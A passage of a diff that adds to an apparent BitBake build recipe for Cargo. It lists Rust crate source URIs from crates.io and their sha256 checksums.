+ crate://crates.io/cpufeatures/0.2.12 \
+ crate://crates.io/crates-io/0.39.2 \
+ crate://crates.io/crc32fast/1.3.2 \
+ crate://crates.io/crossbeam-channel/0.5.11 \
+ crate://crates.io/crossbeam-deque/0.8.5 \
+ crate://crates.io/crossbeam-epoch/0.9.18 \
+ crate://crates.io/crossbeam-utils/0.8.19 \
+ crate://crates.io/crypto-bigint/0.5.5 \
+ crate://crates.io/crypto-common/0.1.6 \
+ crate://crates.io/ct-codecs/1.1.1 \
+ crate://crates.io/curl/0.4.45 \
+ crate://crates.io/curl-sys/0.4.72+curl-8.6.0 \
+ crate://crates.io/der/0.7.8 \
+ crate://crates.io/deranged/0.3.11 \
+ crate://crates.io/digest/0.10.7 \
+ crate://crates.io/dunce/1.0.4 \
+ crate://crates.io/ecdsa/0.16.9 \
+ crate://crates.io/ed25519-compact/2.1.1 \
+ crate://crates.io/either/1.9.0 \
+ crate://crates.io/elliptic-curve/0.13.8 \
+ crate://crates.io/encoding_rs/0.8.33 \
+ crate://crates.io/equivalent/1.0.1 \
+ crate://crates.io/erased-serde/0.4.2 \
+ crate://crates.io/errno/0.3.8 \
+ crate://crates.io/fallible-iterator/0.3.0 \
+ crate://crates.io/fallible-streaming-iterator/0.1.9 \
+ crate://crates.io/faster-hex/0.9.0 \
+ crate://crates.io/fastrand/2.0.1 \
+ crate://crates.io/ff/0.13.0 \
+ crate://crates.io/fiat-crypto/0.2.6 \
+ crate://crates.io/filetime/0.2.23 \
+ crate://crates.io/flate2/1.0.28 \
+ crate://crates.io/foreign-types/0.3.2 \
+ crate://crates.io/foreign-types-shared/0.1.1 \
+ crate://crates.io/form_urlencoded/1.2.1 \
+ crate://crates.io/generic-array/0.14.7 \
+ crate://crates.io/getrandom/0.2.12 \
+ crate://crates.io/git2/0.18.2 \
+ crate://crates.io/git2-curl/0.19.0 \
+ crate://crates.io/gix/0.56.0 \
+ crate://crates.io/gix-actor/0.28.1 \
+ crate://crates.io/gix-attributes/0.20.1 \
+ crate://crates.io/gix-bitmap/0.2.10 \
+ crate://crates.io/gix-chunk/0.4.7 \
+ crate://crates.io/gix-command/0.3.4 \
+ crate://crates.io/gix-commitgraph/0.22.1 \
+ crate://crates.io/gix-config/0.32.1 \
+ crate://crates.io/gix-config-value/0.14.4 \
+ crate://crates.io/gix-credentials/0.22.0 \
+ crate://crates.io/gix-date/0.8.3 \
+ crate://crates.io/gix-diff/0.38.0 \
+ crate://crates.io/gix-discover/0.27.0 \
+ crate://crates.io/gix-features/0.35.0 \
+ crate://crates.io/gix-features/0.36.1 \
+ crate://crates.io/gix-filter/0.7.0 \
+ crate://crates.io/gix-fs/0.8.1 \
+ crate://crates.io/gix-glob/0.14.1 \
+ crate://crates.io/gix-hash/0.13.3 \
+ crate://crates.io/gix-hashtable/0.4.1 \
+ crate://crates.io/gix-ignore/0.9.1 \
+ crate://crates.io/gix-index/0.27.1 \
+ crate://crates.io/gix-lock/11.0.1 \
+ crate://crates.io/gix-macros/0.1.3 \
+ crate://crates.io/gix-negotiate/0.10.0 \
+ crate://crates.io/gix-object/0.39.0 \
+ crate://crates.io/gix-odb/0.55.0 \
+ crate://crates.io/gix-pack/0.45.0 \
+ crate://crates.io/gix-packetline/0.17.3 \
+ crate://crates.io/gix-packetline-blocking/0.17.3 \
+ crate://crates.io/gix-path/0.10.5 \
+ crate://crates.io/gix-pathspec/0.4.1 \
+ crate://crates.io/gix-prompt/0.8.2 \
+ crate://crates.io/gix-protocol/0.42.0 \
+ crate://crates.io/gix-quote/0.4.10 \
+ crate://crates.io/gix-ref/0.39.1 \
+ crate://crates.io/gix-refspec/0.20.0 \
+ crate://crates.io/gix-revision/0.24.0 \
+ crate://crates.io/gix-revwalk/0.10.0 \
+ crate://crates.io/gix-sec/0.10.4 \
+ crate://crates.io/gix-submodule/0.6.0 \
+ crate://crates.io/gix-tempfile/11.0.1 \
+ crate://crates.io/gix-trace/0.1.7 \
+ crate://crates.io/gix-transport/0.39.0 \
+ crate://crates.io/gix-traverse/0.35.0 \
+ crate://crates.io/gix-url/0.25.2 \
+ crate://crates.io/gix-utils/0.1.9 \
+ crate://crates.io/gix-validate/0.8.3 \
+ crate://crates.io/gix-worktree/0.28.0 \
+ crate://crates.io/glob/0.3.1 \
+ crate://crates.io/globset/0.4.14 \
+ crate://crates.io/group/0.13.0 \
+ crate://crates.io/hashbrown/0.12.3 \
+ crate://crates.io/hashbrown/0.14.3 \
+ crate://crates.io/hashlink/0.8.4 \
+ crate://crates.io/heck/0.4.1 \
+ crate://crates.io/hermit-abi/0.3.5 \
+ crate://crates.io/hex/0.4.3 \
+ crate://crates.io/hkdf/0.12.4 \
+ crate://crates.io/hmac/0.12.1 \
+ crate://crates.io/home/0.5.9 \
+ crate://crates.io/http-auth/0.1.9 \
+ crate://crates.io/humantime/2.1.0 \
+ crate://crates.io/idna/0.5.0 \
+ crate://crates.io/ignore/0.4.22 \
+ crate://crates.io/im-rc/15.1.0 \
+ crate://crates.io/indexmap/1.9.3 \
+ crate://crates.io/indexmap/2.2.2 \
+ crate://crates.io/is-terminal/0.4.11 \
+ crate://crates.io/itertools/0.12.1 \
+ crate://crates.io/itoa/1.0.10 \
+ crate://crates.io/jobserver/0.1.28 \
+ crate://crates.io/js-sys/0.3.68 \
+ crate://crates.io/kstring/2.0.0 \
+ crate://crates.io/lazy_static/1.4.0 \
+ crate://crates.io/lazycell/1.3.0 \
+ crate://crates.io/libc/0.2.153 \
+ crate://crates.io/libgit2-sys/0.16.2+1.7.2 \
+ crate://crates.io/libloading/0.8.1 \
+ crate://crates.io/libnghttp2-sys/0.1.9+1.58.0 \
+ crate://crates.io/libsqlite3-sys/0.27.0 \
+ crate://crates.io/libssh2-sys/0.3.0 \
+ crate://crates.io/libz-sys/1.1.15 \
+ crate://crates.io/linux-raw-sys/0.4.13 \
+ crate://crates.io/lock_api/0.4.11 \
+ crate://crates.io/log/0.4.20 \
+ crate://crates.io/matchers/0.1.0 \
+ crate://crates.io/maybe-async/0.2.9 \
+ crate://crates.io/memchr/2.7.1 \
+ crate://crates.io/memmap2/0.9.4 \
+ crate://crates.io/minimal-lexical/0.2.1 \
+ crate://crates.io/miniz_oxide/0.7.2 \
+ crate://crates.io/miow/0.6.0 \
+ crate://crates.io/nom/7.1.3 \
+ crate://crates.io/normpath/1.1.1 \
+ crate://crates.io/nu-ansi-term/0.46.0 \
+ crate://crates.io/num-conv/0.1.0 \
+ crate://crates.io/num-traits/0.2.18 \
+ crate://crates.io/num_threads/0.1.6 \
+ crate://crates.io/once_cell/1.19.0 \
+ crate://crates.io/opener/0.6.1 \
+ crate://crates.io/openssl/0.10.63 \
+ crate://crates.io/openssl-macros/0.1.1 \
+ crate://crates.io/openssl-probe/0.1.5 \
+ crate://crates.io/openssl-src/300.2.2+3.2.1 \
+ crate://crates.io/openssl-sys/0.9.99 \
+ crate://crates.io/ordered-float/2.10.1 \
+ crate://crates.io/orion/0.17.6 \
+ crate://crates.io/os_info/3.7.0 \
+ crate://crates.io/overload/0.1.1 \
+ crate://crates.io/p384/0.13.0 \
+ crate://crates.io/parking_lot/0.12.1 \
+ crate://crates.io/parking_lot_core/0.9.9 \
+ crate://crates.io/pasetors/0.6.8 \
+ crate://crates.io/pathdiff/0.2.1 \
+ crate://crates.io/pem-rfc7468/0.7.0 \
+ crate://crates.io/percent-encoding/2.3.1 \
+ crate://crates.io/pin-project-lite/0.2.13 \
+ crate://crates.io/pkcs8/0.10.2 \
+ crate://crates.io/pkg-config/0.3.29 \
+ crate://crates.io/powerfmt/0.2.0 \
+ crate://crates.io/ppv-lite86/0.2.17 \
+ crate://crates.io/primeorder/0.13.6 \
+ crate://crates.io/proc-macro2/1.0.78 \
+ crate://crates.io/prodash/26.2.2 \
+ crate://crates.io/pulldown-cmark/0.9.6 \
+ crate://crates.io/quote/1.0.35 \
+ crate://crates.io/rand/0.8.5 \
+ crate://crates.io/rand_chacha/0.3.1 \
+ crate://crates.io/rand_core/0.6.4 \
+ crate://crates.io/rand_xoshiro/0.6.0 \
+ crate://crates.io/redox_syscall/0.4.1 \
+ crate://crates.io/regex/1.10.3 \
+ crate://crates.io/regex-automata/0.1.10 \
+ crate://crates.io/regex-automata/0.4.5 \
+ crate://crates.io/regex-syntax/0.6.29 \
+ crate://crates.io/regex-syntax/0.8.2 \
+ crate://crates.io/rfc6979/0.4.0 \
+ crate://crates.io/rusqlite/0.30.0 \
+ crate://crates.io/rustfix/0.7.0 \
+ crate://crates.io/rustix/0.38.31 \
+ crate://crates.io/ryu/1.0.16 \
+ crate://crates.io/same-file/1.0.6 \
+ crate://crates.io/schannel/0.1.23 \
+ crate://crates.io/scopeguard/1.2.0 \
+ crate://crates.io/sec1/0.7.3 \
+ crate://crates.io/security-framework/2.9.2 \
+ crate://crates.io/security-framework-sys/2.9.1 \
+ crate://crates.io/semver/1.0.21 \
+ crate://crates.io/serde/1.0.196 \
+ crate://crates.io/serde-untagged/0.1.5 \
+ crate://crates.io/serde-value/0.7.0 \
+ crate://crates.io/serde_derive/1.0.196 \
+ crate://crates.io/serde_ignored/0.1.10 \
+ crate://crates.io/serde_json/1.0.113 \
+ crate://crates.io/serde_spanned/0.6.5 \
+ crate://crates.io/sha1/0.10.6 \
+ crate://crates.io/sha1_smol/1.0.0 \
+ crate://crates.io/sha2/0.10.8 \
+ crate://crates.io/sharded-slab/0.1.7 \
+ crate://crates.io/shell-escape/0.1.5 \
+ crate://crates.io/shell-words/1.1.0 \
+ crate://crates.io/signature/2.2.0 \
+ crate://crates.io/sized-chunks/0.6.5 \
+ crate://crates.io/smallvec/1.13.1 \
+ crate://crates.io/socket2/0.5.5 \
+ crate://crates.io/spki/0.7.3 \
+ crate://crates.io/static_assertions/1.1.0 \
+ crate://crates.io/strsim/0.11.0 \
+ crate://crates.io/subtle/2.5.0 \
+ crate://crates.io/supports-hyperlinks/2.1.0 \
+ crate://crates.io/syn/1.0.109 \
+ crate://crates.io/syn/2.0.48 \
+ crate://crates.io/tar/0.4.40 \
+ crate://crates.io/tempfile/3.10.0 \
+ crate://crates.io/terminal_size/0.3.0 \
+ crate://crates.io/thiserror/1.0.56 \
+ crate://crates.io/thiserror-impl/1.0.56 \
+ crate://crates.io/thread_local/1.1.7 \
+ crate://crates.io/time/0.3.34 \
+ crate://crates.io/time-core/0.1.2 \
+ crate://crates.io/time-macros/0.2.17 \
+ crate://crates.io/tinyvec/1.6.0 \
+ crate://crates.io/tinyvec_macros/0.1.1 \
+ crate://crates.io/toml/0.5.11 \
+ crate://crates.io/toml/0.8.10 \
+ crate://crates.io/toml_datetime/0.6.5 \
+ crate://crates.io/toml_edit/0.21.1 \
+ crate://crates.io/toml_edit/0.22.4 \
+ crate://crates.io/tracing/0.1.40 \
+ crate://crates.io/tracing-attributes/0.1.27 \
+ crate://crates.io/tracing-core/0.1.32 \
+ crate://crates.io/tracing-log/0.2.0 \
+ crate://crates.io/tracing-subscriber/0.3.18 \
+ crate://crates.io/typenum/1.17.0 \
+ crate://crates.io/unicase/2.7.0 \
+ crate://crates.io/unicode-bidi/0.3.15 \
+ crate://crates.io/unicode-bom/2.0.3 \
+ crate://crates.io/unicode-ident/1.0.12 \
+ crate://crates.io/unicode-normalization/0.1.22 \
+ crate://crates.io/unicode-width/0.1.11 \
+ crate://crates.io/unicode-xid/0.2.4 \
+ crate://crates.io/url/2.5.0 \
+ crate://crates.io/utf8parse/0.2.1 \
+ crate://crates.io/valuable/0.1.0 \
+ crate://crates.io/vcpkg/0.2.15 \
+ crate://crates.io/version_check/0.9.4 \
+ crate://crates.io/walkdir/2.4.0 \
+ crate://crates.io/wasi/0.11.0+wasi-snapshot-preview1 \
+ crate://crates.io/wasm-bindgen/0.2.91 \
+ crate://crates.io/wasm-bindgen-backend/0.2.91 \
+ crate://crates.io/wasm-bindgen-macro/0.2.91 \
+ crate://crates.io/wasm-bindgen-macro-support/0.2.91 \
+ crate://crates.io/wasm-bindgen-shared/0.2.91 \
+ crate://crates.io/winapi/0.3.9 \
+ crate://crates.io/winapi-i686-pc-windows-gnu/0.4.0 \
+ crate://crates.io/winapi-util/0.1.6 \
+ crate://crates.io/winapi-x86_64-pc-windows-gnu/0.4.0 \
+ crate://crates.io/windows-sys/0.48.0 \
+ crate://crates.io/windows-sys/0.52.0 \
+ crate://crates.io/windows-targets/0.48.5 \
+ crate://crates.io/windows-targets/0.52.0 \
+ crate://crates.io/windows_aarch64_gnullvm/0.48.5 \
+ crate://crates.io/windows_aarch64_gnullvm/0.52.0 \
+ crate://crates.io/windows_aarch64_msvc/0.48.5 \
+ crate://crates.io/windows_aarch64_msvc/0.52.0 \
+ crate://crates.io/windows_i686_gnu/0.48.5 \
+ crate://crates.io/windows_i686_gnu/0.52.0 \
+ crate://crates.io/windows_i686_msvc/0.48.5 \
+ crate://crates.io/windows_i686_msvc/0.52.0 \
+ crate://crates.io/windows_x86_64_gnu/0.48.5 \
+ crate://crates.io/windows_x86_64_gnu/0.52.0 \
+ crate://crates.io/windows_x86_64_gnullvm/0.48.5 \
+ crate://crates.io/windows_x86_64_gnullvm/0.52.0 \
+ crate://crates.io/windows_x86_64_msvc/0.48.5 \
+ crate://crates.io/windows_x86_64_msvc/0.52.0 \
+ crate://crates.io/winnow/0.5.39 \
+ crate://crates.io/zerocopy/0.7.32 \
+ crate://crates.io/zerocopy-derive/0.7.32 \
+ crate://crates.io/zeroize/1.7.0 \
+"
+
+SRC_URI[adler-1.0.2.sha256sum] = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
+SRC_URI[ahash-0.8.7.sha256sum] = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01"
+SRC_URI[aho-corasick-1.1.2.sha256sum] = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0"
+SRC_URI[allocator-api2-0.2.16.sha256sum] = "0942ffc6dcaadf03badf6e6a2d0228460359d5e34b57ccdc720b7382dfbd5ec5"
+SRC_URI[anstream-0.6.11.sha256sum] = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5"
+SRC_URI[anstyle-1.0.6.sha256sum] = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc"
+SRC_URI[anstyle-parse-0.2.3.sha256sum] = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c"
+SRC_URI[anstyle-query-1.0.2.sha256sum] = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648"
+SRC_URI[anstyle-wincon-3.0.2.sha256sum] = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7"
+SRC_URI[anyhow-1.0.79.sha256sum] = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca"
+SRC_URI[arc-swap-1.6.0.sha256sum] = "bddcadddf5e9015d310179a59bb28c4d4b9920ad0f11e8e14dbadf654890c9a6"
+SRC_URI[autocfg-1.1.0.sha256sum] = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
+SRC_URI[base16ct-0.2.0.sha256sum] = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf"
+SRC_URI[base64-0.21.7.sha256sum] = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
+SRC_URI[base64ct-1.6.0.sha256sum] = "8c3c1a368f70d6cf7302d78f8f7093da241fb8e8807c05cc9e51a125895a6d5b"
+SRC_URI[bitflags-1.3.2.sha256sum] = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+SRC_URI[bitflags-2.4.2.sha256sum] = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf"
+SRC_URI[bitmaps-2.1.0.sha256sum] = "031043d04099746d8db04daf1fa424b2bc8bd69d92b25962dcde24da39ab64a2"
+SRC_URI[block-buffer-0.10.4.sha256sum] = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
+SRC_URI[bstr-1.9.0.sha256sum] = "c48f0051a4b4c5e0b6d365cd04af53aeaa209e3cc15ec2cdb69e73cc87fbd0dc"
+SRC_URI[btoi-0.4.3.sha256sum] = "9dd6407f73a9b8b6162d8a2ef999fe6afd7cc15902ebf42c5cd296addf17e0ad"
+SRC_URI[bumpalo-3.14.0.sha256sum] = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec"
+SRC_URI[bytes-1.5.0.sha256sum] = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
+SRC_URI[bytesize-1.3.0.sha256sum] = "a3e368af43e418a04d52505cf3dbc23dda4e3407ae2fa99fd0e4f308ce546acc"
+SRC_URI[cargo-0.77.0.sha256sum] = "4a399e5bde59d144aa2c7ba643765e2f8c6c3c601daa2da03202caf66f2552b3"
+SRC_URI[cargo-credential-0.4.2.sha256sum] = "ec27ad011c37339b865c765fa28096cd63d5b25fab680c04d9e410cb586c327d"
+SRC_URI[cargo-credential-libsecret-0.4.2.sha256sum] = "26b0ff7a44dd0af0fcd8d09bb1a6d7f7652847cba10aad017a6ea0a25ba7f00f"
+SRC_URI[cargo-credential-macos-keychain-0.4.2.sha256sum] = "4b7cf89a47dc2c20ae3a7c94335e151be32c20f85cc2790defdb1f5dac818de5"
+SRC_URI[cargo-credential-wincred-0.4.2.sha256sum] = "341df45dc893bdffa36e2f7cbe3da90b38c5c74e7f4c0088ac801fd055b6df5b"
+SRC_URI[cargo-platform-0.1.7.sha256sum] = "694c8807f2ae16faecc43dc17d74b3eb042482789fd0eb64b39a2e04e087053f"
+SRC_URI[cargo-util-0.2.9.sha256sum] = "74862c3c6e53a1c1f8f0178f9d38ab41e49746cd3a7cafc239b3d0248fd4e342"
+SRC_URI[cbindgen-0.26.0.sha256sum] = "da6bc11b07529f16944307272d5bd9b22530bc7d05751717c9d416586cedab49"
+SRC_URI[cc-1.0.83.sha256sum] = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0"
+SRC_URI[cfg-if-1.0.0.sha256sum] = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+SRC_URI[clap-4.5.0.sha256sum] = "80c21025abd42669a92efc996ef13cfb2c5c627858421ea58d5c3b331a6c134f"
+SRC_URI[clap_builder-4.5.0.sha256sum] = "458bf1f341769dfcf849846f65dffdf9146daa56bcd2a47cb4e1de9915567c99"
+SRC_URI[clap_derive-4.5.0.sha256sum] = "307bc0538d5f0f83b8248db3087aa92fe504e4691294d0c96c0eabc33f47ba47"
+SRC_URI[clap_lex-0.7.0.sha256sum] = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce"
+SRC_URI[clru-0.6.1.sha256sum] = "b8191fa7302e03607ff0e237d4246cc043ff5b3cb9409d995172ba3bea16b807"
+SRC_URI[color-print-0.3.5.sha256sum] = "7a858372ff14bab9b1b30ea504f2a4bc534582aee3e42ba2d41d2a7baba63d5d"
+SRC_URI[color-print-proc-macro-0.3.5.sha256sum] = "57e37866456a721d0a404439a1adae37a31be4e0055590d053dfe6981e05003f"
+SRC_URI[colorchoice-1.0.0.sha256sum] = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
+SRC_URI[const-oid-0.9.6.sha256sum] = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8"
+SRC_URI[core-foundation-0.9.4.sha256sum] = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
+SRC_URI[core-foundation-sys-0.8.6.sha256sum] = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f"
+SRC_URI[cpufeatures-0.2.12.sha256sum] = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504"
+SRC_URI[crates-io-0.39.2.sha256sum] = "6622f902c3c338eced1f000091f034846ae36aadaf35d0acd1ab0469a2d8ef1f"
+SRC_URI[crc32fast-1.3.2.sha256sum] = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d"
+SRC_URI[crossbeam-channel-0.5.11.sha256sum] = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b"
+SRC_URI[crossbeam-deque-0.8.5.sha256sum] = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d"
+SRC_URI[crossbeam-epoch-0.9.18.sha256sum] = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e"
+SRC_URI[crossbeam-utils-0.8.19.sha256sum] = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345"
+SRC_URI[crypto-bigint-0.5.5.sha256sum] = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76"
+SRC_URI[crypto-common-0.1.6.sha256sum] = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
+SRC_URI[ct-codecs-1.1.1.sha256sum] = "f3b7eb4404b8195a9abb6356f4ac07d8ba267045c8d6d220ac4dc992e6cc75df"
+SRC_URI[curl-0.4.45.sha256sum] = "f8e5123ab8c31200ce725939049ecd4a090b242608f24048131dedf9dd195aed"
+SRC_URI[curl-sys-0.4.72+curl-8.6.0.sha256sum] = "29cbdc8314c447d11e8fd156dcdd031d9e02a7a976163e396b548c03153bc9ea"
+SRC_URI[der-0.7.8.sha256sum] = "fffa369a668c8af7dbf8b5e56c9f744fbd399949ed171606040001947de40b1c"
+SRC_URI[deranged-0.3.11.sha256sum] = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4"
+SRC_URI[digest-0.10.7.sha256sum] = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
+SRC_URI[dunce-1.0.4.sha256sum] = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b"
+SRC_URI[ecdsa-0.16.9.sha256sum] = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca"
+SRC_URI[ed25519-compact-2.1.1.sha256sum] = "e9b3460f44bea8cd47f45a0c70892f1eff856d97cd55358b2f73f663789f6190"
+SRC_URI[either-1.9.0.sha256sum] = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07"
+SRC_URI[elliptic-curve-0.13.8.sha256sum] = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47"
+SRC_URI[encoding_rs-0.8.33.sha256sum] = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1"
+SRC_URI[equivalent-1.0.1.sha256sum] = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
+SRC_URI[erased-serde-0.4.2.sha256sum] = "55d05712b2d8d88102bc9868020c9e5c7a1f5527c452b9b97450a1d006140ba7"
+SRC_URI[errno-0.3.8.sha256sum] = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245"
+SRC_URI[fallible-iterator-0.3.0.sha256sum] = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649"
+SRC_URI[fallible-streaming-iterator-0.1.9.sha256sum] = "7360491ce676a36bf9bb3c56c1aa791658183a54d2744120f27285738d90465a"
+SRC_URI[faster-hex-0.9.0.sha256sum] = "a2a2b11eda1d40935b26cf18f6833c526845ae8c41e58d09af6adeb6f0269183"
+SRC_URI[fastrand-2.0.1.sha256sum] = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5"
+SRC_URI[ff-0.13.0.sha256sum] = "ded41244b729663b1e574f1b4fb731469f69f79c17667b5d776b16cda0479449"
+SRC_URI[fiat-crypto-0.2.6.sha256sum] = "1676f435fc1dadde4d03e43f5d62b259e1ce5f40bd4ffb21db2b42ebe59c1382"
+SRC_URI[filetime-0.2.23.sha256sum] = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd"
+SRC_URI[flate2-1.0.28.sha256sum] = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e"
+SRC_URI[foreign-types-0.3.2.sha256sum] = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
+SRC_URI[foreign-types-shared-0.1.1.sha256sum] = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
+SRC_URI[form_urlencoded-1.2.1.sha256sum] = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456"
+SRC_URI[generic-array-0.14.7.sha256sum] = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
+SRC_URI[getrandom-0.2.12.sha256sum] = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5"
+SRC_URI[git2-0.18.2.sha256sum] = "1b3ba52851e73b46a4c3df1d89343741112003f0f6f13beb0dfac9e457c3fdcd"
+SRC_URI[git2-curl-0.19.0.sha256sum] = "78e26b61608c573ffd26fc79061a823aa5147449a1afe1f61679a21e2031f7c3"
+SRC_URI[gix-0.56.0.sha256sum] = "5b0dcdc9c60d66535897fa40a7ea2a635e72f99456b1d9ae86b7e170e80618cb"
+SRC_URI[gix-actor-0.28.1.sha256sum] = "2eadca029ef716b4378f7afb19f7ee101fde9e58ba1f1445971315ac866db417"
+SRC_URI[gix-attributes-0.20.1.sha256sum] = "0f395469d38c76ec47cd1a6c5a53fbc3f13f737b96eaf7535f4e6b367e643381"
+SRC_URI[gix-bitmap-0.2.10.sha256sum] = "78b6cd0f246180034ddafac9b00a112f19178135b21eb031b3f79355891f7325"
+SRC_URI[gix-chunk-0.4.7.sha256sum] = "003ec6deacf68076a0c157271a127e0bb2c031c1a41f7168cbe5d248d9b85c78"
+SRC_URI[gix-command-0.3.4.sha256sum] = "c82b5e9494e61983e61049bbd15fe0fa6b70672dd236362bdb5b2b50fc428f10"
+SRC_URI[gix-commitgraph-0.22.1.sha256sum] = "85a7007ba021f059803afaf6f8a48872422abc20550ac12ede6ddea2936cec36"
+SRC_URI[gix-config-0.32.1.sha256sum] = "0341471d55d8676e98b88e121d7065dfa4c9c5acea4b6d6ecdd2846e85cce0c3"
+SRC_URI[gix-config-value-0.14.4.sha256sum] = "5b8a1e7bfb37a46ed0b8468db37a6d8a0a61d56bdbe4603ae492cb322e5f3958"
+SRC_URI[gix-credentials-0.22.0.sha256sum] = "513dac42450b27946bd0a0535a3a5a88e473d6522e5e3439a129cab779c88f3d"
+SRC_URI[gix-date-0.8.3.sha256sum] = "fb7f3dfb72bebe3449b5e642be64e3c6ccbe9821c8b8f19f487cf5bfbbf4067e"
+SRC_URI[gix-diff-0.38.0.sha256sum] = "8119a985887cfe68f4bdf92e51bd64bc758a73882d82fcfc03ebcb164441c85d"
+SRC_URI[gix-discover-0.27.0.sha256sum] = "6fad89416ebe0b3b7df78464124e2a02417b6cd3743d48ad93df86f4d2929c07"
+SRC_URI[gix-features-0.35.0.sha256sum] = "9b9ff423ae4983f762659040d13dd7a5defbd54b6a04ac3cc7347741cec828cd"
+SRC_URI[gix-features-0.36.1.sha256sum] = "4d46a4a5c6bb5bebec9c0d18b65ada20e6517dbd7cf855b87dd4bbdce3a771b2"
+SRC_URI[gix-filter-0.7.0.sha256sum] = "6d6a5c9d8e55c364e7c226919c19c9a28be1392d6208b5008059fa94ff7e2bf0"
+SRC_URI[gix-fs-0.8.1.sha256sum] = "20e86eb040f5776a5ade092282e51cdcad398adb77d948b88d17583c2ae4e107"
+SRC_URI[gix-glob-0.14.1.sha256sum] = "5db19298c5eeea2961e5b3bf190767a2d1f09b8802aeb5f258e42276350aff19"
+SRC_URI[gix-hash-0.13.3.sha256sum] = "1f8cf8c2266f63e582b7eb206799b63aa5fa68ee510ad349f637dfe2d0653de0"
+SRC_URI[gix-hashtable-0.4.1.sha256sum] = "feb61880816d7ec4f0b20606b498147d480860ddd9133ba542628df2f548d3ca"
+SRC_URI[gix-ignore-0.9.1.sha256sum] = "a215cc8cf21645bca131fcf6329d3ebd46299c47dbbe27df71bb1ca9e328b879"
+SRC_URI[gix-index-0.27.1.sha256sum] = "f3f308f5cd2992e96a274b0d1931e9a0e44fdcba87695ead3f6df30d8a697e9c"
+SRC_URI[gix-lock-11.0.1.sha256sum] = "7e5c65e6a29830a435664891ced3f3c1af010f14900226019590ee0971a22f37"
+SRC_URI[gix-macros-0.1.3.sha256sum] = "d75e7ab728059f595f6ddc1ad8771b8d6a231971ae493d9d5948ecad366ee8bb"
+SRC_URI[gix-negotiate-0.10.0.sha256sum] = "979f6accd9c051b3dd018b50adf29c0a2459edddf6105cc70b767976cd6f8014"
+SRC_URI[gix-object-0.39.0.sha256sum] = "febf79c5825720c1c63fe974c7bbe695d0cb54aabad73f45671c60ce0e501e33"
+SRC_URI[gix-odb-0.55.0.sha256sum] = "1fae5f971540c99c6ecc8d4368ecc9d18a9dc8b9391025c68c4399747dc93bac"
+SRC_URI[gix-pack-0.45.0.sha256sum] = "4569491c92446fddf373456ff360aff9a9effd627b40a70f2d7914dcd75a3205"
